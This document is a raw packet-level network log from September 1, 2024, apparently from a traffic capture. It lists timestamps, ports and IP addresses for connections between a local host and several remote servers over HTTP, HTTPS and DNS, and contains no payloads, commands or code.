Sep 1, 2024 05:09:38.022059917 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.022721052 CEST	49806	443	192.168.2.4	142.250.181.225
Sep 1, 2024 05:09:38.022727013 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.025046110 CEST	49806	443	192.168.2.4	142.250.181.225
Sep 1, 2024 05:09:38.025105953 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.025362968 CEST	49806	443	192.168.2.4	142.250.181.225
Sep 1, 2024 05:09:38.025368929 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.036771059 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:38.036883116 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:38.100321054 CEST	49806	443	192.168.2.4	142.250.181.225
Sep 1, 2024 05:09:38.285871983 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.285909891 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.286078930 CEST	49806	443	192.168.2.4	142.250.181.225
Sep 1, 2024 05:09:38.286088943 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.288979053 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.289113045 CEST	49806	443	192.168.2.4	142.250.181.225
Sep 1, 2024 05:09:38.289120913 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.295178890 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.295247078 CEST	49806	443	192.168.2.4	142.250.181.225
Sep 1, 2024 05:09:38.295254946 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.301517963 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.301573992 CEST	49806	443	192.168.2.4	142.250.181.225
Sep 1, 2024 05:09:38.301578999 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.307847977 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.307904005 CEST	49806	443	192.168.2.4	142.250.181.225
Sep 1, 2024 05:09:38.307910919 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.314117908 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.314192057 CEST	49806	443	192.168.2.4	142.250.181.225
Sep 1, 2024 05:09:38.314198971 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.320461035 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.320527077 CEST	49806	443	192.168.2.4	142.250.181.225
Sep 1, 2024 05:09:38.320533991 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.326719999 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.326778889 CEST	49806	443	192.168.2.4	142.250.181.225
Sep 1, 2024 05:09:38.326786041 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.372497082 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.372539043 CEST	49806	443	192.168.2.4	142.250.181.225
Sep 1, 2024 05:09:38.372546911 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.375438929 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.375513077 CEST	49806	443	192.168.2.4	142.250.181.225
Sep 1, 2024 05:09:38.375519991 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.381705046 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.381767988 CEST	49806	443	192.168.2.4	142.250.181.225
Sep 1, 2024 05:09:38.381774902 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.388051033 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.388099909 CEST	49806	443	192.168.2.4	142.250.181.225
Sep 1, 2024 05:09:38.388107061 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.394325972 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.394382000 CEST	49806	443	192.168.2.4	142.250.181.225
Sep 1, 2024 05:09:38.394392014 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.400691986 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.400739908 CEST	49806	443	192.168.2.4	142.250.181.225
Sep 1, 2024 05:09:38.400744915 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.406944036 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.407016039 CEST	49806	443	192.168.2.4	142.250.181.225
Sep 1, 2024 05:09:38.407025099 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.413295031 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.413355112 CEST	49806	443	192.168.2.4	142.250.181.225
Sep 1, 2024 05:09:38.413362026 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.419533968 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.419595957 CEST	49806	443	192.168.2.4	142.250.181.225
Sep 1, 2024 05:09:38.419603109 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.425437927 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.425498009 CEST	49806	443	192.168.2.4	142.250.181.225
Sep 1, 2024 05:09:38.425504923 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.431379080 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.431441069 CEST	49806	443	192.168.2.4	142.250.181.225
Sep 1, 2024 05:09:38.431447029 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.436364889 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.436422110 CEST	49806	443	192.168.2.4	142.250.181.225
Sep 1, 2024 05:09:38.436428070 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.442133904 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.442209959 CEST	49806	443	192.168.2.4	142.250.181.225
Sep 1, 2024 05:09:38.442217112 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.447350979 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.447398901 CEST	49806	443	192.168.2.4	142.250.181.225
Sep 1, 2024 05:09:38.447406054 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.452811956 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.452857018 CEST	49806	443	192.168.2.4	142.250.181.225
Sep 1, 2024 05:09:38.452863932 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.458167076 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.458214045 CEST	49806	443	192.168.2.4	142.250.181.225
Sep 1, 2024 05:09:38.458221912 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.463706970 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.463758945 CEST	49806	443	192.168.2.4	142.250.181.225
Sep 1, 2024 05:09:38.463764906 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.467746973 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.467798948 CEST	49806	443	192.168.2.4	142.250.181.225
Sep 1, 2024 05:09:38.467804909 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.471586943 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.471631050 CEST	49806	443	192.168.2.4	142.250.181.225
Sep 1, 2024 05:09:38.471637964 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.475147009 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.475188971 CEST	49806	443	192.168.2.4	142.250.181.225
Sep 1, 2024 05:09:38.475194931 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.478884935 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.478925943 CEST	49806	443	192.168.2.4	142.250.181.225
Sep 1, 2024 05:09:38.478933096 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.482206106 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.482247114 CEST	49806	443	192.168.2.4	142.250.181.225
Sep 1, 2024 05:09:38.482254028 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.485744953 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.485795975 CEST	49806	443	192.168.2.4	142.250.181.225
Sep 1, 2024 05:09:38.485801935 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.489202023 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.489327908 CEST	49806	443	192.168.2.4	142.250.181.225
Sep 1, 2024 05:09:38.489334106 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.492695093 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.492738962 CEST	49806	443	192.168.2.4	142.250.181.225
Sep 1, 2024 05:09:38.492744923 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.496227026 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.496269941 CEST	49806	443	192.168.2.4	142.250.181.225
Sep 1, 2024 05:09:38.496277094 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.499726057 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.499774933 CEST	49806	443	192.168.2.4	142.250.181.225
Sep 1, 2024 05:09:38.499782085 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.503217936 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.503273964 CEST	49806	443	192.168.2.4	142.250.181.225
Sep 1, 2024 05:09:38.503282070 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.506827116 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.506884098 CEST	49806	443	192.168.2.4	142.250.181.225
Sep 1, 2024 05:09:38.506891012 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.510149002 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.510189056 CEST	49806	443	192.168.2.4	142.250.181.225
Sep 1, 2024 05:09:38.510195017 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.513729095 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.513830900 CEST	49806	443	192.168.2.4	142.250.181.225
Sep 1, 2024 05:09:38.513844013 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.517249107 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.517296076 CEST	49806	443	192.168.2.4	142.250.181.225
Sep 1, 2024 05:09:38.517302036 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.520673037 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.520720005 CEST	49806	443	192.168.2.4	142.250.181.225
Sep 1, 2024 05:09:38.520726919 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.524400949 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.524452925 CEST	49806	443	192.168.2.4	142.250.181.225
Sep 1, 2024 05:09:38.524457932 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.527838945 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.527992010 CEST	49806	443	192.168.2.4	142.250.181.225
Sep 1, 2024 05:09:38.527998924 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.531352997 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.531402111 CEST	49806	443	192.168.2.4	142.250.181.225
Sep 1, 2024 05:09:38.531409025 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.534568071 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.534612894 CEST	49806	443	192.168.2.4	142.250.181.225
Sep 1, 2024 05:09:38.534619093 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.538019896 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.538084984 CEST	49806	443	192.168.2.4	142.250.181.225
Sep 1, 2024 05:09:38.538090944 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.541492939 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.541560888 CEST	49806	443	192.168.2.4	142.250.181.225
Sep 1, 2024 05:09:38.541567087 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.544425964 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.544455051 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.544498920 CEST	49806	443	192.168.2.4	142.250.181.225
Sep 1, 2024 05:09:38.544507027 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.544579983 CEST	49806	443	192.168.2.4	142.250.181.225
Sep 1, 2024 05:09:38.547444105 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.550406933 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.550462008 CEST	49806	443	192.168.2.4	142.250.181.225
Sep 1, 2024 05:09:38.550467968 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.550532103 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.550580978 CEST	49806	443	192.168.2.4	142.250.181.225
Sep 1, 2024 05:09:38.550858974 CEST	49806	443	192.168.2.4	142.250.181.225
Sep 1, 2024 05:09:38.550868988 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.732589006 CEST	80	49808	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:38.734637022 CEST	49808	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:38.743779898 CEST	49808	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:38.748557091 CEST	80	49808	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:38.990521908 CEST	80	49808	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:38.990597963 CEST	49808	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:39.185226917 CEST	49808	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:39.185559988 CEST	49809	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:39.190351963 CEST	80	49809	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:39.190418005 CEST	49809	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:39.190424919 CEST	80	49808	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:39.190498114 CEST	49808	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:39.259022951 CEST	49809	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:39.263927937 CEST	80	49809	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:39.383584976 CEST	49810	443	192.168.2.4	13.107.246.60
Sep 1, 2024 05:09:39.383624077 CEST	443	49810	13.107.246.60	192.168.2.4
Sep 1, 2024 05:09:39.383886099 CEST	49810	443	192.168.2.4	13.107.246.60
Sep 1, 2024 05:09:39.384105921 CEST	49810	443	192.168.2.4	13.107.246.60
Sep 1, 2024 05:09:39.384119987 CEST	443	49810	13.107.246.60	192.168.2.4
Sep 1, 2024 05:09:39.644141912 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:39.651379108 CEST	80	49796	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:39.651426077 CEST	49796	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:39.745222092 CEST	49796	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:39.947465897 CEST	80	49809	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:39.947525978 CEST	49809	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:39.948273897 CEST	49809	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:39.953114986 CEST	80	49809	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:40.045922995 CEST	443	49810	13.107.246.60	192.168.2.4
Sep 1, 2024 05:09:40.046658039 CEST	49810	443	192.168.2.4	13.107.246.60
Sep 1, 2024 05:09:40.046675920 CEST	443	49810	13.107.246.60	192.168.2.4
Sep 1, 2024 05:09:40.047702074 CEST	443	49810	13.107.246.60	192.168.2.4
Sep 1, 2024 05:09:40.047771931 CEST	49810	443	192.168.2.4	13.107.246.60
Sep 1, 2024 05:09:40.051379919 CEST	49810	443	192.168.2.4	13.107.246.60
Sep 1, 2024 05:09:40.051443100 CEST	443	49810	13.107.246.60	192.168.2.4
Sep 1, 2024 05:09:40.052083969 CEST	49810	443	192.168.2.4	13.107.246.60
Sep 1, 2024 05:09:40.052090883 CEST	443	49810	13.107.246.60	192.168.2.4
Sep 1, 2024 05:09:40.147438049 CEST	49810	443	192.168.2.4	13.107.246.60
Sep 1, 2024 05:09:40.152776003 CEST	443	49810	13.107.246.60	192.168.2.4
Sep 1, 2024 05:09:40.152793884 CEST	443	49810	13.107.246.60	192.168.2.4
Sep 1, 2024 05:09:40.152801991 CEST	443	49810	13.107.246.60	192.168.2.4
Sep 1, 2024 05:09:40.152816057 CEST	443	49810	13.107.246.60	192.168.2.4
Sep 1, 2024 05:09:40.152822018 CEST	443	49810	13.107.246.60	192.168.2.4
Sep 1, 2024 05:09:40.152847052 CEST	49810	443	192.168.2.4	13.107.246.60
Sep 1, 2024 05:09:40.152847052 CEST	443	49810	13.107.246.60	192.168.2.4
Sep 1, 2024 05:09:40.152864933 CEST	443	49810	13.107.246.60	192.168.2.4
Sep 1, 2024 05:09:40.152875900 CEST	49810	443	192.168.2.4	13.107.246.60
Sep 1, 2024 05:09:40.152905941 CEST	49810	443	192.168.2.4	13.107.246.60
Sep 1, 2024 05:09:40.153322935 CEST	443	49810	13.107.246.60	192.168.2.4
Sep 1, 2024 05:09:40.153364897 CEST	443	49810	13.107.246.60	192.168.2.4
Sep 1, 2024 05:09:40.153408051 CEST	49810	443	192.168.2.4	13.107.246.60
Sep 1, 2024 05:09:40.155479908 CEST	49810	443	192.168.2.4	13.107.246.60
Sep 1, 2024 05:09:40.155493021 CEST	443	49810	13.107.246.60	192.168.2.4
Sep 1, 2024 05:09:40.155678034 CEST	49810	443	192.168.2.4	13.107.246.60
Sep 1, 2024 05:09:40.155694962 CEST	49810	443	192.168.2.4	13.107.246.60
Sep 1, 2024 05:09:40.200223923 CEST	80	49809	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:40.200284958 CEST	49809	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:40.308768988 CEST	49809	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:40.309107065 CEST	49811	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:40.314014912 CEST	80	49811	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:40.314038992 CEST	80	49809	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:40.314230919 CEST	49809	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:40.314251900 CEST	49811	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:40.314572096 CEST	49811	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:40.319420099 CEST	80	49811	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:40.339624882 CEST	443	49782	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:40.339695930 CEST	443	49782	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:40.340473890 CEST	49782	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:40.340559006 CEST	443	49781	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:40.340619087 CEST	443	49781	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:40.340666056 CEST	49781	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:40.719624996 CEST	49812	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:40.719650984 CEST	443	49812	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:40.719825983 CEST	49812	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:40.720041037 CEST	49812	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:40.720055103 CEST	443	49812	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:40.720412016 CEST	49813	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:40.720446110 CEST	443	49813	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:40.720550060 CEST	49813	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:40.720745087 CEST	49813	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:40.720762014 CEST	443	49813	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:40.777504921 CEST	49814	443	192.168.2.4	162.159.61.3
Sep 1, 2024 05:09:40.777522087 CEST	443	49814	162.159.61.3	192.168.2.4
Sep 1, 2024 05:09:40.777839899 CEST	49814	443	192.168.2.4	162.159.61.3
Sep 1, 2024 05:09:40.778409958 CEST	49814	443	192.168.2.4	162.159.61.3
Sep 1, 2024 05:09:40.778422117 CEST	443	49814	162.159.61.3	192.168.2.4
Sep 1, 2024 05:09:41.054738045 CEST	80	49811	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:41.054788113 CEST	49811	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:41.055484056 CEST	49811	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:41.060331106 CEST	80	49811	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:41.172439098 CEST	443	49813	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:41.172739029 CEST	49813	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:41.172759056 CEST	443	49813	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:41.174031019 CEST	443	49813	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:41.174103022 CEST	49813	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:41.175209045 CEST	49813	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:41.175270081 CEST	443	49813	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:41.175496101 CEST	49813	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:41.175503969 CEST	443	49813	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:41.180807114 CEST	443	49812	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:41.181027889 CEST	49812	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:41.181041002 CEST	443	49812	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:41.182025909 CEST	443	49812	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:41.182147980 CEST	49812	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:41.182981968 CEST	49812	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:41.183058977 CEST	443	49812	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:41.183195114 CEST	49812	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:41.183203936 CEST	443	49812	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:41.233792067 CEST	443	49814	162.159.61.3	192.168.2.4
Sep 1, 2024 05:09:41.233997107 CEST	49814	443	192.168.2.4	162.159.61.3
Sep 1, 2024 05:09:41.234005928 CEST	443	49814	162.159.61.3	192.168.2.4
Sep 1, 2024 05:09:41.234989882 CEST	443	49814	162.159.61.3	192.168.2.4
Sep 1, 2024 05:09:41.235069990 CEST	49814	443	192.168.2.4	162.159.61.3
Sep 1, 2024 05:09:41.235888958 CEST	49814	443	192.168.2.4	162.159.61.3
Sep 1, 2024 05:09:41.235948086 CEST	443	49814	162.159.61.3	192.168.2.4
Sep 1, 2024 05:09:41.236041069 CEST	49814	443	192.168.2.4	162.159.61.3
Sep 1, 2024 05:09:41.280508995 CEST	443	49814	162.159.61.3	192.168.2.4
Sep 1, 2024 05:09:41.301810026 CEST	80	49811	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:41.301887989 CEST	49811	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:41.307509899 CEST	49812	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:41.309144020 CEST	443	49813	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:41.309199095 CEST	49813	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:41.309602976 CEST	49813	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:41.309619904 CEST	443	49813	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:41.319749117 CEST	443	49812	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:41.319811106 CEST	443	49812	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:41.319868088 CEST	49812	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:41.320055962 CEST	49812	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:41.320069075 CEST	443	49812	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:41.350975037 CEST	49814	443	192.168.2.4	162.159.61.3
Sep 1, 2024 05:09:41.350980997 CEST	443	49814	162.159.61.3	192.168.2.4
Sep 1, 2024 05:09:41.354605913 CEST	443	49814	162.159.61.3	192.168.2.4
Sep 1, 2024 05:09:41.354738951 CEST	49814	443	192.168.2.4	162.159.61.3
Sep 1, 2024 05:09:41.355395079 CEST	49814	443	192.168.2.4	162.159.61.3
Sep 1, 2024 05:09:41.355401039 CEST	443	49814	162.159.61.3	192.168.2.4
Sep 1, 2024 05:09:41.414566994 CEST	49811	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:41.414849997 CEST	49816	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:41.419666052 CEST	80	49816	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:41.419707060 CEST	80	49811	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:41.419733047 CEST	49816	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:41.419769049 CEST	49811	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:41.420056105 CEST	49816	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:41.424817085 CEST	80	49816	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:41.985510111 CEST	52614	53	192.168.2.4	1.1.1.1
Sep 1, 2024 05:09:41.990370035 CEST	53	52614	1.1.1.1	192.168.2.4
Sep 1, 2024 05:09:41.990439892 CEST	52614	53	192.168.2.4	1.1.1.1
Sep 1, 2024 05:09:41.990478039 CEST	52614	53	192.168.2.4	1.1.1.1
Sep 1, 2024 05:09:41.995228052 CEST	53	52614	1.1.1.1	192.168.2.4
Sep 1, 2024 05:09:42.158991098 CEST	80	49816	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:42.159223080 CEST	49816	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:42.159885883 CEST	49816	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:42.164638042 CEST	80	49816	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:42.405805111 CEST	80	49816	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:42.405946970 CEST	49816	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:42.441644907 CEST	53	52614	1.1.1.1	192.168.2.4
Sep 1, 2024 05:09:42.442936897 CEST	52614	53	192.168.2.4	1.1.1.1
Sep 1, 2024 05:09:42.447567940 CEST	52615	443	192.168.2.4	152.195.19.97
Sep 1, 2024 05:09:42.447617054 CEST	443	52615	152.195.19.97	192.168.2.4
Sep 1, 2024 05:09:42.447734118 CEST	52615	443	192.168.2.4	152.195.19.97
Sep 1, 2024 05:09:42.448539972 CEST	52615	443	192.168.2.4	152.195.19.97
Sep 1, 2024 05:09:42.448548079 CEST	443	52615	152.195.19.97	192.168.2.4
Sep 1, 2024 05:09:42.448827028 CEST	53	52614	1.1.1.1	192.168.2.4
Sep 1, 2024 05:09:42.448882103 CEST	52614	53	192.168.2.4	1.1.1.1
Sep 1, 2024 05:09:42.586496115 CEST	49816	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:42.587291956 CEST	52616	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:42.591953039 CEST	80	49816	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:42.592022896 CEST	49816	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:42.592078924 CEST	80	52616	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:42.592310905 CEST	52616	80	192.168.2.4	185.215.113.19
